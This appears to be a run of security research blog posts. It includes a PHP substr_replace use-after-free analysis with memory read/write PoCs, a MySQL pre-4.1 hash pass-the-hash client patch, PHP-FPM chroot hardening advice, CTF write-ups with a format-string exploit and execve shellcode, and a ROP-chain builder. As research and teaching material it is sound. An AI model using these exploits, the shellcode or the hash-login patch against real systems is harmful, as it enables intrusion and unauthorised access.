zval *orig_str;
zval dummy;
if(Z_TYPE_PP(tmp_str) != IS_STRING) {
dummy = **tmp_str;
orig_str = &dummy;
zval_copy_ctor(orig_str);
convert_to_string(orig_str);
} else {
orig_str = *tmp_str; // [1]
}
// get and check 'from' value to 'f' (convert_to_long if needed)
// get and check 'len' value to 'l' (convert_to_long if needed)
// ...
if ((f + l) > Z_STRLEN_P(orig_str)) {
l = Z_STRLEN_P(orig_str) - f; // [2]
}
result_len = Z_STRLEN_P(orig_str) - l;
if (Z_TYPE_PP(repl) == IS_ARRAY) {
if (SUCCESS == zend_hash_get_current_data_ex(Z_ARRVAL_PP(repl), (void **) &tmp_repl, &pos_repl)) {
zval *repl_str;
zval zrepl;
if(Z_TYPE_PP(tmp_repl) != IS_STRING) {
zrepl = **tmp_repl;
repl_str = &zrepl;
zval_copy_ctor(repl_str);
convert_to_string(repl_str); // [3] interruption
} else {
repl_str = *tmp_repl;
}
result_len += Z_STRLEN_P(repl_str);
zend_hash_move_forward_ex(Z_ARRVAL_PP(repl), &pos_repl);
result = emalloc(result_len + 1);
memcpy(result, Z_STRVAL_P(orig_str), f);
memcpy((result + f), Z_STRVAL_P(repl_str), Z_STRLEN_P(repl_str));
memcpy((result + f + Z_STRLEN_P(repl_str)), Z_STRVAL_P(orig_str) + f + l, Z_STRLEN_P(orig_str) - f - l); // [4]
if(Z_TYPE_PP(tmp_repl) != IS_STRING) {
zval_dtor(repl_str);
}
} else {
// ...
}
} else {
// ...
}
result[result_len] = '\0';
add_next_index_stringl(return_value, result, result_len, 0);
if(Z_TYPE_PP(tmp_str) != IS_STRING) {
zval_dtor(orig_str); // [5]
}
zend_hash_move_forward_ex(Z_ARRVAL_PP(str), &pos_str);
} /* while */
} /* if */
}
</pre>
<p>At [1], if <span class="code">'tmp_str'</span> is string, the <span class="code">'tmp_str'</span> and <span class="code">'orig_str'</span> points to the same zval. After this point, the program assumes the <span class="code">'orig_str'</span> type is string.</p>
<p>At [3], if <span class="code">'repl_str'</span> is object, the <span class="code">convert_to_string()</span> will call <span class="code">__toString()</span> magic method. So if we pass the 'str' by reference with call-time-pass-by-reference feature or reference in array (see below), we can access/modify <span class="code">'orig_str'</span> value inside <span class="code">__toString()</span>.</p>
<p>At [5], because of interruption at [3], we can trick the program to free memory that variable has reference to it (use-after-free). Now look at first PoC.</p>
<pre class="code language-php">
<?php
class dummy {
public function __toString() {
//$GLOBALS['my_var'] += 0x08048000; // dump memory at 0x08048000
//$GLOBALS['my_var'] .= 'AAAAAAAA'; // buffer overflow
preg_match('//', '', $GLOBALS['my_var']); // dump HashTable data (and use-after-free in >=5.3.7)
return '';
}
}
$my_var = str_repeat('A', 40);
$out = substr_replace(array(&$my_var), array(new dummy), 40, 0);
</pre>
<p>To dump memory at any address, just convert <span class="code">$my_var</span> to integer (see why in <a href="http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/Zend/zend.h?revision=321634&view=markup#l305">zval struct</a>). If we append string to <span class="code">$my_var</span>, <span class="code">memcpy()</span> at [4] will cause buffer overflow because length of <span class="code">'orig_str'</span> is modified after <span class="code">'result_len'</span> is computed.</p>
<p>The most interesting case is when <span class="code">$my_var</span> is converted to array. We will get that HashTable struct. Also (for version >=5.3.7), the array (HashTable, Bucket, array of pointer to Bucket) is freed. So after calling <span class="code">substr_replace()</span>, we just need to allocate manipulated string on deleted HashTable, Buckets and array of pointer to Bucket. Then, create the fake zval with length <span class="code">0x7fffffff</span>. Finally, we can read/write to any memory address.</p>
<p>To make exploit reliable for use-after-free (with my method), we need to understand Zend Memory Management Cache a little. The code is in Zend/zend_alloc.c. The important functions are <a href="http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/Zend/zend_alloc.c?revision=321634&view=markup#l1810">_zend_mm_alloc_int()</a> and <a href="http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/Zend/zend_alloc.c?revision=321634&view=markup#l1987">_zend_mm_free_int()</a>, only code related small size block. Here is the brief.</p>
<ol>
<li>When the <span class="code">efree()</span> is called, the memory is not freed. But it is moved to free list cache.</li>
<li>There are array of singly linked list to keep freed memory block. Each linked list keeps the same memory block size.</li>
<li>When memory block is freed, it is moved to the head of linked list.</li>
<li>When memory block is allocated, it is gotten from the head of linked list if linked list is not empty.</li>
</ol>
<p>The plan is trying allocate string size same as HashTable, Bucket, arBuckets until they are allocated on freed array. Then use address from <span class="code">substr_replace()</span> output to recover everything. Here is the code for 32 bit without suhosin patch.</p>
<pre class="code language-php">
<?php
class dummyht {
public function __toString() {
preg_match('//', '', $GLOBALS['my_var']);
return "";
}
}
// hashtable and bucket size is 40
$h = "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH0HHHH";
// arBuckets size is 32
$b = "ararararararararararararararar";
$fake_ht = "\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00".str_repeat("\x00", 23);
$fake_bk = str_repeat("\x00", 38);
$fake_arb = "ararararararararararararar";
$junk = array(0=>'0',1=>'1',2=>'2',3=>'3',4=>'4',5=>'5',6=>'6',7=>'7');
$str_arr = array('ht'=>"\x08", 'arBks'=>"\x00", 'bk0'=>"\x00");
$my_var = str_repeat("A", 80);
$data = 0;
$data = substr_replace(array(&$my_var), array(new dummyht), 80, 0);
$junk[0] .= $h;
$junk[1] .= $h;
$junk[2] .= $h;
$junk[3] .= $h;
$junk[4] .= $h;
$str_arr['ht'] .= $fake_ht;
$str_arr['bk0'] .= $fake_bk;
$junk[5] .= $b;
$junk[6] .= $b;
$junk[7] .= $b;
$str_arr['arBks'] .= $fake_arb;
$ht = parse_hashtable($data[0]);
// repair hashtable
for ($i = 16; $i < 32; $i++) $str_arr['ht'][$i] = $data[0][$i];
for ($i = 36; $i < 39; $i++) $str_arr['ht'][$i] = $data[0][$i];
// repair arBuckets
for ($i = 0; $i < 4; $i++) $str_arr['arBks'][$i] = $data[0][$i+4*4];
for ($i = 4; $i < 4*7; $i++) $str_arr['arBks'][$i] = "\x00";
// create $fake_zval string in tail of arBuckets
$fake_zval = pack("I", $ht['arBuckets'] & 0x80000000);
$fake_zval .= pack("I", 0x7fffffff);
$fake_zval .= pack("I", 1);
$fake_zval .= "\x06\x00";
for ($i = 0; $i < strlen($fake_zval); $i++)
$str_arr['arBks'][$i+4*4] = $fake_zval[$i];
// repair first bucket
$sptr = pack("I", $ht['pListHead'] + 4*3);
for ($i = 0; $i < 4; $i++) $str_arr['bk0'][$i + 4*2] = $sptr[$i];
$sptr = pack("I", $ht['arBuckets'] + 4*4);
for ($i = 0; $i < 4; $i++) $str_arr['bk0'][$i + 4*3] = $sptr[$i];
$mem = &$my_var[0];
</pre>
<p>With Suhosin patch, the above method to dump memory and dump HashTable does not work. Because the patch always set <span class="code">str.len</span> value to 0 when clearing the string variable. At [4], the copy length will be negative but it will cast to unsigned for <span class="code">memcpy()</span>. The workaround for this problem is use [2]. I pass parameter len as object to cause the interruption before [2]. After <span class="code">convert_to_long()</span>, the <span class="code">'len'</span> and <span class="code">Z_STRLEN_P(orig_str)</span> are 0. At [2], <span class="code">'l'</span> will be 0. Fix the problem :]. Here is the PoC.</p>
<pre class="code language-php">
<?php
class dummy {}
function errhandler() {
$GLOBALS['my_var'] = ''; // to make it work when no suhosin patch
preg_match('//', '', $GLOBALS['my_var']);
return true;
}
$my_var = str_repeat('A', 40);
$oldhandler = set_error_handler("errhandler");
$out = substr_replace(array(&$my_var), '', 40, array(new dummy));
</pre>Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com5tag:blogger.com,1999:blog-7750805153536412131.post-57267646591764459422012-01-11T22:14:00.002+07:002012-01-17T09:39:27.316+07:00MySQL 323 Hash Pass-the-hash<p>This is just a note. This is a known old problem. If a password hash of MySQL user is hashed with <span class="code">OLD_PASSWORD()</span> function or is imported from very old version, the hash is equivalent to password. You do not need to crack a hash to login to MySQL.</p>
<p>Here is my patch for <span class="code">libmysql_r/password.c</span> for MySQL version 5.1.55.</p>
<pre class="code language-patch">
--- password.c.orig 2012-01-11 21:32:02.644042061 +0700
+++ password.c 2012-01-11 21:33:30.676109909 +0700
@@ -191,6 +191,7 @@ void scramble_323(char *to, const char *
char extra, *to_start=to;
const char *message_end= message + SCRAMBLE_LENGTH_323;
hash_password(hash_pass,password, (uint) strlen(password));
+ if (strlen(password) == 16) sscanf(password, "%8lx%8lx", &hash_pass[0], &hash_pass[1]);
hash_password(hash_message, message, SCRAMBLE_LENGTH_323);
randominit(&rand_st,hash_pass[0] ^ hash_message[0],
hash_pass[1] ^ hash_message[1]);
</pre>
<p>Here the commands to build only client.</p>
<pre class="code language-sh">
$ ./configure --without-server
$ make
</pre>Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com2tag:blogger.com,1999:blog-7750805153536412131.post-2231205150632578992011-10-16T00:17:00.000+07:002012-08-11T20:36:34.940+07:00Chroot PHP-FPM and Apache<p>As mentioned in <a href="http://www.php.net/security-note.php">"A Note on Security in PHP"</a>, the PHP security features (safe_mode, open_basedir, disable_functions) can be bypassed. The <a href="http://www.blackhat.com/presentations/bh-usa-09/ESSER/BHUSA09-Esser-PostExploitationPHP-PAPER.pdf">Stefan Esser’s paper</a> also describe how to bypass the PHP security features. The better alternative for PHP security is chroot PHP-FPM.</p>
<p>With google, you can easily find how to configure PHP-FPM for nginx. But I want the setup for Apache httpd. I found only this two <a href="http://www.makina-corpus.org/blog/install-drupal-php-fpm-fastcgi-apache-and-chroot-php-fpm">"Install Drupal in php-fpm (fastcgi) with Apache and a chroot php-fpm"</a> and <a href="http://voidweb.com/2010/07/the-perfect-lamp-stack-apache2-fastcgi-php-fpm-apc/">"The Perfect LAMP Stack – Apache2, FastCGI, PHP-FPM, APC"</a>. They explain very well for configuring fastcgi and PHP-FPM. But only first link describe about chroot PHP. The method to chroot is somewhat ugly. Why do I have to create a symlink?</p>
<p>After reading Apache and PHP doc, I found the options. <b>We just need to set <a href="http://www.php.net/manual/en/ini.core.php#ini.doc-root">"doc_root"</a> to a new web path after chrooted and <a href="http://www.php.net/manual/en/ini.core.php#ini.cgi.fix-pathinfo">"cgi.fix_pathinfo"</a> to 0 in "php.ini"</b>. We can also set these options per PHP-FPM pool with "php_admin_value" directive.</p>
<hr/>
<b>Updated on 11 Aug 2012</b>
<p><b>Note:</b> I just notice the _SERVER variables related to path are wrong if "cgi.fix_pathinfo" is 0. If PHP application relies on these variables (such as _SERVER["SCRIPT_FILENAME"], $_SERVER["PATH_TRANSLATED"]), it would fail.</p>
<p>Another method is patching PHP-FPM. Here is my quick and dirty patch for PHP 5.3.15 <a href="http://pastebin.com/4EFqEgwE">http://pastebin.com/4EFqEgwE</a>. I added "cgi.fix_chrootpath" configuration. <b>Just set it to the same value as "chroot" value in pool configuration. Do not set "doc_root" and "cgi.fix_pathinfo".</b> The "cgi.fix_chrootpath" should be boolean. But I cannot find a method to access "chroot" pool configuration. Last, I did not test the patch much. It works on my Linux box.</p>
<hr/>
<p>Also do not forget to remove <a href="http://httpd.apache.org/docs/2.2/mod/core.html#options">"FollowSymLinks"</a> or add "SymLinksIfOwnerMatch" option in Apache httpd configuration. If you omit it, the attacker can use <a href="http://auntitled.blogspot.com/2011/04/php-symlink-and-openbasedir.html">symlink() trick</a> to read files that web user can read.</p>
<p>After doing chroot PHP, you might think the open_basedir and disable_fuctions are useless. In my opinion, open_basedir is still useful. They can prevent from PHP functions to read files from "upload_tmp_dir" and "session.save_path". So attacker cannot use "temporary upload file" and "session file" for LFI.</p>
<p>Last thing that only few people mention, noexec mount option can be used for web data if web application use only PHP.</p>Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com8tag:blogger.com,1999:blog-7750805153536412131.post-37772070850607942682011-09-27T23:17:00.000+07:002011-09-27T23:45:30.771+07:00CSAW CTF 2011 - Exploitation Bin4 Writeup<p>After reading <a href="http://secgroup.ext.dsi.unive.it/2011/09/27/csaw-ctf-2011-write-up-exploitation-bin4/">repnzscasb's Bin4 write-up</a>. I have to say to myself "why I missed overwriting the pointer to function?". Here is my solution (not a smart method to solve this challenge).</p>
<p>The challenge code is same as bin3 but bin4 is compiled with full RELRO. Also the ASLR is enabled. Here is a short C code.</p>
<pre class="code language-c">
int s(char *op, char *lhs, char *rhs){
static int(*opfunc)(int, int);
int(*matfunc[4])(int, int) = {&add, &sub, &mul, &divi};
char opmsg[512];
op++;
//...
snprintf(opmsg, sizeof(opmsg), op);
printf("%s\n", opmsg);
fflush(0);
return opfunc(atoi(lhs), atoi(rhs));
}
int main(int argc, char **argv){
if(argc < 4){ u(); }
printf("Result: %d\n", s(argv[2], argv[1], argv[3]));
exit(EXIT_SUCCESS);
}
</pre>
<p>Assume we see only format string bug (do not see <span class="code">opfunc</span>, a pointer to function :P). My idea is using saved ebp in s() stack frame, that points to saved ebp in main() stack frame, with format string bug to modify 1 byte of saved ebp in main() stack frame to the address of saved eip in s() stack frame. Confused??? Look below.</p>
<pre class="code langauge-sh">
(gdb) b *0x0804867e # break at call snprintf
Breakpoint 1 at 0x804867e
(gdb) r 1 -%144\$hhn 2
Starting program: /home/worawit/csaw/bin4 1 -%144\$hhn 2
Operation:
Breakpoint 1, 0x0804867e in s ()
(gdb) x/12x $ebp
0xbffff648: 0xbffff668 0x08048721 0xbffff868 0xbffff866
0xbffff658: 0xbffff872 0x0029bff4 0x08048750 0x00000000
0xbffff668: 0xbffff6e8 0x00155e37 0x00000004 0xbffff714
(gdb) ni
0x08048683 in s ()
(gdb) x/12x $ebp
0xbffff648: 0xbffff668 0x08048721 0xbffff868 0xbffff866
0xbffff658: 0xbffff872 0x0029bff4 0x08048750 0x00000000
0xbffff668: 0xbffff600 0x00155e37 0x00000004 0xbffff714
</pre>
<p>Note:<br/>
- <span class="code">0xbffff648</span> is address of saved ebp in s() stack frame<br/>
- <span class="code">0xbffff64c</span> is address of saved eip in s() stack frame<br/>
- <span class="code">0xbffff668</span> is address of saved in main() stack frame</p>
<p>From gdb, we can see the saved ebp value in main() stack frame is changed. If we change it to address of saved eip in s() stack frame, <span class="code">0xbffff64c</span>. We can use it for format string bug to change the saved eip in s() stack frame. That's the idea.</p>
<p>This method does not work all the time because stack address is random. But the chance is not low. Only 4 bits are random. The last 4 bits are always the same because of stack alignment in main() function.</p>
<pre class="code language-sh">
080486e5 <main>:
80486e5: 55 push %ebp
80486e6: 89 e5 mov %esp,%ebp
80486e8: 83 e4 f0 and $0xfffffff0,%esp
</pre>
<p>Because <span class="code">argv[1]</span> is passed to s() function as 2nd argument , we just need to modified the saved eip to the <span class="code">pop/ret</span> address. Find it near <span class="code">0x08048721</span>, so we have to modified only 1 byte.</p>
<pre class="code language-sh">
worawit@nattyvm:~/csaw$ objdump -d ./bin4 | grep '^ 80487' | grep -B 1 ret
8048743: 5d pop %ebp
8048744: c3 ret
--
80487a8: 5d pop %ebp
80487a9: c3 ret
80487aa: 8b 1c 24 mov (%esp),%ebx
80487ad: c3 ret
--
80487d8: 5d pop %ebp
80487d9: c3 ret
--
80487f6: c9 leave
80487f7: c3 ret
</pre>
<p>I pick address <span class="code">0x080487a8</span>. The restriction of this method is <span class="code">"$"</span> modifier must not be used in first <span class="code">"%n"</code></p>. Else the printf() function will not use modified value. Here is the exploit. Shell will pop out in a second.</p>
<pre class="code language.sh">
worawit@nattyvm:~/csaw$ while [ 1 ]; do ./bin4 `perl -e 'print "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'` -`perl -e 'print "%8x"x142,"%220x%hhn","%8x"x6,"%44x%hhn"'` 10; done
...
$
</pre>
Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com0tag:blogger.com,1999:blog-7750805153536412131.post-17917305314870562672011-09-03T21:32:00.000+07:002011-09-03T21:32:31.482+07:00ROP with common functions in Ubuntu/Debian x86
<p>After reading "<a href="http://howto.shell-storm.org/files/howto-18-en.php">How to make a ROP when gadgets seems to miss ? (kind of universal ROP under linux)</a>", I see something missing. It is hard to change the shellcode (such as connect back) and it does not work on full RELRO binary. So I tried do ROP too (for fun) with following code and compilation option on Ubuntu 10.04 (x86).</p>
<pre class="code language-c">
#include <string.h>
int main(int argc, char **argv)
{
char buf[64];
strcpy(buf, argv[1]);
return 0;
}
</pre>
<pre class="code language-sh">
$ gcc -fno-stack-protector -Wl,-z,relro,-z,now -o testfoo testfoo.c
$ checksec.sh --file testfoo
RELRO STACK CANARY NX PIE FILE
Full RELRO No canary found NX enabled No PIE testfoo
</pre>
<p>Here the "<span class="code">objdump -d</span>" output (<a href="https://sites.google.com/site/worawita/files/testfoo_objdump.txt?attredirects=0&d=1">testfoo_objdump.txt</a>). I will paste only gadgets here because the full output is very long.</p>
<p>From agix's work, he modified GOT entry to get new gadgets. It cannot be used when full RELRO is enabled. But we still can use <span class="code">"call *%eax"</span> (or similar) to make a new gadgets.</p>
<p>Even a binary is full RELRO, there is still static memory address that permission is "rw" (at least <span class="code">.data</span> and <span class="code">.bss</span> section). When a binary file is mapped to memory, the memory must be allocated a multiple of page size (normally is 4096 bytes). So in most case, there are some unused memory area that is initialized to zero. I will use this memory area to store some value.</p>
<p>Let look at gadgets in <span class="code">__libc_csu_init</span> first.</p>
<pre class="code language-sh">
# gadget #1
8048472: 83 c4 1c add $0x1c,%esp
8048475: 5b pop %ebx
8048476: 5e pop %esi
8048477: 5f pop %edi
8048478: 5d pop %ebp
8048479: c3 ret
</pre>
<p>This gadget can be used for setting <span class="code">ebx, esi, edi, ebp</span> and clean up stacks.</p>
<pre class="code language-sh">
# gadget #2
8048439: 8d bb 0c ff ff ff lea -0xf4(%ebx),%edi
804843f: 8d 83 0c ff ff ff lea -0xf4(%ebx),%eax
8048445: 29 c7 sub %eax,%edi
8048447: c1 ff 02 sar $0x2,%edi
804844a: 85 ff test %edi,%edi
804844c: 74 24 je 8048472 <__libc_csu_init+0x52>
</pre>
<p>This gadget can be used for setting <span class="code">eax</span> after setting <span class="code">ebx</span>. The <span class="code">0xf4</span> is offset of _GLOBAL_OFFSET_TABLE_ and __init_array_start.</p>
<pre class="code language-sh">
# gadget #3
8048450: 8b 45 10 mov 0x10(%ebp),%eax
8048453: 89 44 24 08 mov %eax,0x8(%esp)
8048457: 8b 45 0c mov 0xc(%ebp),%eax
804845a: 89 44 24 04 mov %eax,0x4(%esp)
804845e: 8b 45 08 mov 0x8(%ebp),%eax
8048461: 89 04 24 mov %eax,(%esp)
8048464: ff 94 b3 0c ff ff ff call *-0xf4(%ebx,%esi,4)
804846b: 83 c6 01 add $0x1,%esi
804846e: 39 fe cmp %edi,%esi
8048470: 72 de jb 8048450 <__libc_csu_init+0x30>
</pre>
<p>This gadget can be used for calling a function, based on <span class="code">ebx</span> and <span class="code">esi</span>, with 3 arguments. We need to set <span class="code">edi</span> to make <span class="code">jb</span> condition fail. But limitation of this gadget is we must know the address of function arguments.</p>
<p>Next, gadgets in <span class="code">__do_global_ctors_aux</span></p>
<pre class="code language-sh">
# gadget #4
80484a7: 5b pop %ebx
80484a8: 5d pop %ebp
80484a9: c3 ret
</pre>
<p>This gadget can be used for setting <span class="code">ebx</span> and use a little stack space.</p>
<pre class="code language-sh">
# gadget #5
(gdb) x/6i 0x0804849e
0x804849e <__do_global_ctors_aux+30>: add -0xb8a0008(%ebx),%eax
0x80484a4 <__do_global_ctors_aux+36>: add $0x4,%esp
0x80484a7 <__do_global_ctors_aux+39>: pop %ebx
0x80484a8 <__do_global_ctors_aux+40>: pop %ebp
0x80484a9 <__do_global_ctors_aux+41>: ret
0x80484aa <__do_global_ctors_aux+42>: nop
</pre>
<p>This gadget cannot be found in objdump output. I use gdb to intrepret at address 0x0804849e as instructions. It can be used for adding value from memory to <span class="code">eax</span>. Because we can control <span class="code">eax</span>, it is considered as load value from memory to <span class="code">eax</span> (similar to <span class="code">"mov (%ebx),%eax"</span> instruction).</p>
<p>Next, gadgets in <span class="code">__do_global_dtors_aux</span>.</p>
<pre class="code language-sh">
# gadget #6
(gdb) x/3i 0x080483a9
0x80483a9 <__do_global_dtors_aux+73>: add $0x804a008,%eax
0x80483ae <__do_global_dtors_aux+78>: add %eax,0x5d5b04c4(%ebx)
0x80483b4 <__do_global_dtors_aux+84>: ret
</pre>
<p>This gadget also can be found with gdb at address 0x080483a9. The <span class="code">"add %eax,0x5d5b04c4(%ebx)"</span> instruction can be used for storing <span class="code">eax</span> value to memory if the value in memory is 0 (similar to <span class="code">"mov %eax,(%ebx)"</span>). When wanting to avoid badchars from setting <span class="code">eax</span>, we use this whole gadget to adjust <span class="code">eax</span>.</p>
<p>I also found this gadet in in <span class="code">__do_global_dtors_aux</span> with gdb.</p>
<pre class="code language-sh">
(gdb) x/2i 0x08048392
0x8048392 <__do_global_dtors_aux+50>: add %esp,0x804a00c(%ebx)
0x8048398 <__do_global_dtors_aux+56>: call *0x8049ef8(,%eax,4)
</pre>
<p>It can be used for storing <span class="code">esp</span> to memory. But because 0x804a00c (dtor_idx) is near to static memory address, <span class="code">ebx</span> has to be very low value (0x0000????). I cannot find a gadget to adjust <span class="code">ebx</span>. So we cannot use it if \x00 is badchar (like this example).</p>
<p>These are 6 gadgets I use to do ROP. Let see my python code for the variable name of the gadget addresses.</p>
<pre class="code language-python">
# start address of __do_global_dtors_aux
do_global_dtors_aux_addr = 0x08048360
# start address of __libc_csu_init
libc_csu_init_addr = 0x08048420
init_array_offset = 0xf4
bss_completed_addr = 0x0804a008
# start address of __do_global_ctors_aux
do_global_ctors_aux_addr = 0x08048480
set_eax_addr = libc_csu_init_addr + 0x19 # gadget #2
set_4reg_addr = libc_csu_init_addr + 0x55 # gadget #1
call_3args_addr = libc_csu_init_addr + 0x30 # gadget #3
set_ebx_addr = do_global_ctors_aux_addr + 0x27 # gadget #4
load_eax_addr = do_global_ctors_aux_addr + 0x1e # gadget #5
store_eax_addr = do_global_dtors_aux_addr + 0x4e # gadget #6
store_eax_addr2 = do_global_dtors_aux_addr + 0x49 # can be used for avoiding badchars
JUNK = 0xbadc0de
JUNK_STR = pack("<I", JUNK)
</pre>
<p>Here how I use these gadgets. Start with simple set <span class="code">eax</span> and <span class="code">ebx</span>.</p>
<pre class="code language-python">
def do_set_ebx(ebx):
# 12 bytes
return pack("<III", set_ebx_addr, ebx, JUNK)
def do_set_eax_ebx(eax, ebx, esi=JUNK, edi=JUNK, ebp=JUNK):
# (3+1+7+4)*4 = 60 bytes
ebx_tmp = (eax + init_array_offset) & 0xFFFFFFFF
return do_set_ebx(ebx_tmp) + pack("<I", set_eax_addr) + JUNK_STR*7 + pack("<IIII", ebx, esi, edi, ebp)
</pre>
<p>Next is storing value in memory. Common task.</p>
<pre class="code language-python">
def do_store_value(value, mem_addr):
# 64 bytes
eax = value
ebx = (mem_addr - 0x5d5b04c4) & 0xFFFFFFFF
return do_set_eax_ebx(eax, ebx) + pack("<I", store_eax_addr)
do_add_memref = do_store_value
def do_store_value2(value, mem_addr):
# 64 bytes
eax = (value - bss_completed_addr) & 0xFFFFFFFF
ebx = (mem_addr - 0x5d5b04c4) & 0xFFFFFFFF
return do_set_eax_ebx(eax, ebx) + pack("<I", store_eax_addr2)
do_add_memref2 = do_store_value2
</pre>
<p>Before seeing next functions, let think about the goal first. I need the ROP to be reusable with other shellcode, so the goal is calling <span class="code">mprotect</span> (I use <span class="code">mprotect</span> because it requires only 3 arguments) and copying the shellcode into rwx area. Looking at gadget #3, we need 3 arguments in memory and the function address to be called in memory too. So we need to put the <span class="code">mprotect</span> function address in memory. To find the <span class="code">mprotect</span> address, we need to get value from GOT entry, then add/sub an offset. Here is the function to do this task.</p>
<pre class="code language-python">
def do_store_func_addr(func_plt_got_addr, func_offset, mem_addr):
# 80 bytes
eax1 = (func_offset - bss_completed_addr) & 0xFFFFFFFF
ebx1 = func_plt_got_addr + 0x0b8a0008 # normally got is in 0x08??????, so no overflow
ebx2 = (mem_addr - 0x5d5b04c4) & 0xFFFFFFFF
return do_set_eax_ebx(eax1, ebx1) + pack("<IIII", load_eax_addr, JUNK, ebx2, JUNK) + pack("<I", store_eax_addr2)
</pre>
<p>The last function is calling with 3 arguments.</p>
<pre class="code language-python">
def do_call_3arg(func_mem_addr, args_mem_addr):
esi = 0x02020202
ebx = (func_mem_addr + init_array_offset - (esi*4)) & 0xFFFFFFFF
ebp = args_mem_addr - 8
edi = 0x01010101 # to make jb condition fail
return pack("<IIIII", set_4reg_addr, ebx, esi, edi, ebp) + pack("<I", call_3args_addr) + JUNK_STR*11
</pre>
<p>We have all functions. Time to assemble them to call <span class="code">mprotect</span>.<br/>
<i>Note:</i> I have to store the mprotect arguments in memory first because they always contain \x00 value (badchar for this example).</p>
<pre class="code language-python">
rop = ""
# prepare mprotect address and its arguments on static stack
rop += do_store_func_addr(libc_ref_func_got, mprotect_offset, static_mem_zero_start) # memprotect address in libc
rop += do_store_value(static_mem_rw_start, static_mem_zero_start + 8)
rop += do_store_value2(mprotect_len, static_mem_zero_start + 12)
rop += do_store_value2(7, static_mem_zero_start + 16) # rwx
# call mprotect
rop += do_call_3arg(static_mem_zero_start, static_mem_zero_start + 8)
</pre>
<p>After got the memory with rwx permission, there are many methods to execute any shellcode. I inject a gadget to set <span class="code">strcpy</span> src address in stack.</p>
<pre class="code language-python">
# metasm > lea eax,[esp+0x10]
# "\x8d\x44\x24\x10"
# metasm > mov [esp+0xc],eax
# "\x89\x44\x24\x0c"
# metasm > ret
# "\xc3"
rop += do_store_value(0x1024448d, static_mem_zero_start + 20)
rop += do_store_value(0x0c244489, static_mem_zero_start + 24)
rop += do_store_value(0x909090c3, static_mem_zero_start + 28)
</pre>
<p>Then I use <span class="code">strcpy@plt</span> to copy the shellcode and jump to it.</p>
<pre class="code language-python">
rop += pack("<IIIII", static_mem_zero_start + 20, strcpy_plt, static_mem_zero_start + 32, static_mem_zero_start + 32, JUNK)
rop = "A"*64 + pack("<I", ret_addr)*5 + rop + shellcode
</pre>
<p>Here is my full python code: <a href="https://sites.google.com/site/worawita/files/genrop.py?attredirects=0&d=1">genrop.py</a>. Now we can change shell easily :).</p>
<pre class="code language-sh">
$ python genrop.py
$ ./testfoo "`cat rop.out`"
</pre>
<p>I also tried on Ubuntu 11.04 and Debian 6. It works. But on Fedora 14/15, the <span class="code">__do_global_dtors_aux</span> is slightly different. Gadget #6 is changed to use <span class="code">ecx</span> and <span class="code">ebp</span> for storing value in memory. I cannot find any gadget to control <span class="code">ecx</span>. I think we can use gadgets in libc by using <span class="code">"call *%eax"</span>. It is harder but still possible.</p>
Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com2tag:blogger.com,1999:blog-7750805153536412131.post-59782528599211650722011-06-11T16:35:00.001+07:002011-06-15T20:43:30.115+07:00Defcon 19 Quals - Pwntent Pwnables 500 Writeup<p>I could not solve this challenge in time. It is definitely a good challenge (and hard).</p>
<p>The binary is compiled from C++ code and stripped. Even the binary is dynamically linked, we will see many functions in assembly because some code of C++ STL is included in binary. From <span class="code">objdump</span> output, the binary is compiled on Fedora 14. So I tested my exploit only on Fedora 14. Here are some checking output.</p>
<pre class="code lang-pre">
$ file pp500_e98c4e1c448e706a94e
pp500_e98c4e1c448e706a94e: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped
$ strings pp500_e98c4e1c448e706a94e
...
_ZSt29_Rb_tree_insert_and_rebalancebPSt18_Rb_tree_node_baseS0_RS_
...
vector::_M_insert_aux
...
$ objdump -s -j .comment pp500_e98c4e1c448e706a94e
pp500_e98c4e1c448e706a94e: file format elf32-i386
Contents of section .comment:
0000 4743433a 2028474e 55292034 2e352e31 GCC: (GNU) 4.5.1
0010 20323031 30303932 34202852 65642048 20100924 (Red H
0020 61742034 2e352e31 2d342900 at 4.5.1-4).
$ checksec.sh --file pp500_e98c4e1c448e706a94e
RELRO STACK CANARY NX PIE FILE
No RELRO No canary found NX enabled No PIE pp500_e98c4e1c448e706a94e
</pre>
<p>The assembly from C++ code is very difficult to understand at first sight. The good way to understand (for me) is writing simple C++ code that uses <span class="code">std::string</span>, then compile it and view the assembly (without stripping). Here is the my C++ code for learning <span class="code">std::string</span> <a href="https://sites.google.com/site/worawita/files/defcon19/teststring.cpp?attredirects=0&d=1">teststring.cpp</a>.</p>
<p>After understanding <span class="code">std::string</span> in assembly, reading the assembly code is a lot easier. There are still many unknown functions. But I could at least understand the program flow.</p>
<p>In upload_new_record function, there is a call to <span class="code">"new"</span> after receiving the data from client. I can guess the call functions after <span class="code">"new"</span> are Class constructors. In both constructor, they call the same function. It is a parent constructor. I also can see the vtable in constructor.</p>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-Hn_dqwv3blA/TfMdYG5qHJI/AAAAAAAAAFo/Icom10LKh9I/s1600/pp500_vtable.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="222" width="400" src="http://4.bp.blogspot.com/-Hn_dqwv3blA/TfMdYG5qHJI/AAAAAAAAAFo/Icom10LKh9I/s400/pp500_vtable.png" /></a></div>
<p>I named the class as RecordOdd and RecordEven (from the random value before creating the Record object). Inside <span class="code">RecordEven::setBuffer</span>, there is a overflow bug. The buffer is allocated 224 bytes but the function always write 248 bytes. I thought to use it to overwrite the vtable of adjacent record. So just need to find a way to trigger it. I could guess almost immediately, the <span class="code">setBuffer</span> is called when we edit a record. But that's not enough because it causes a heap corruption.</p>
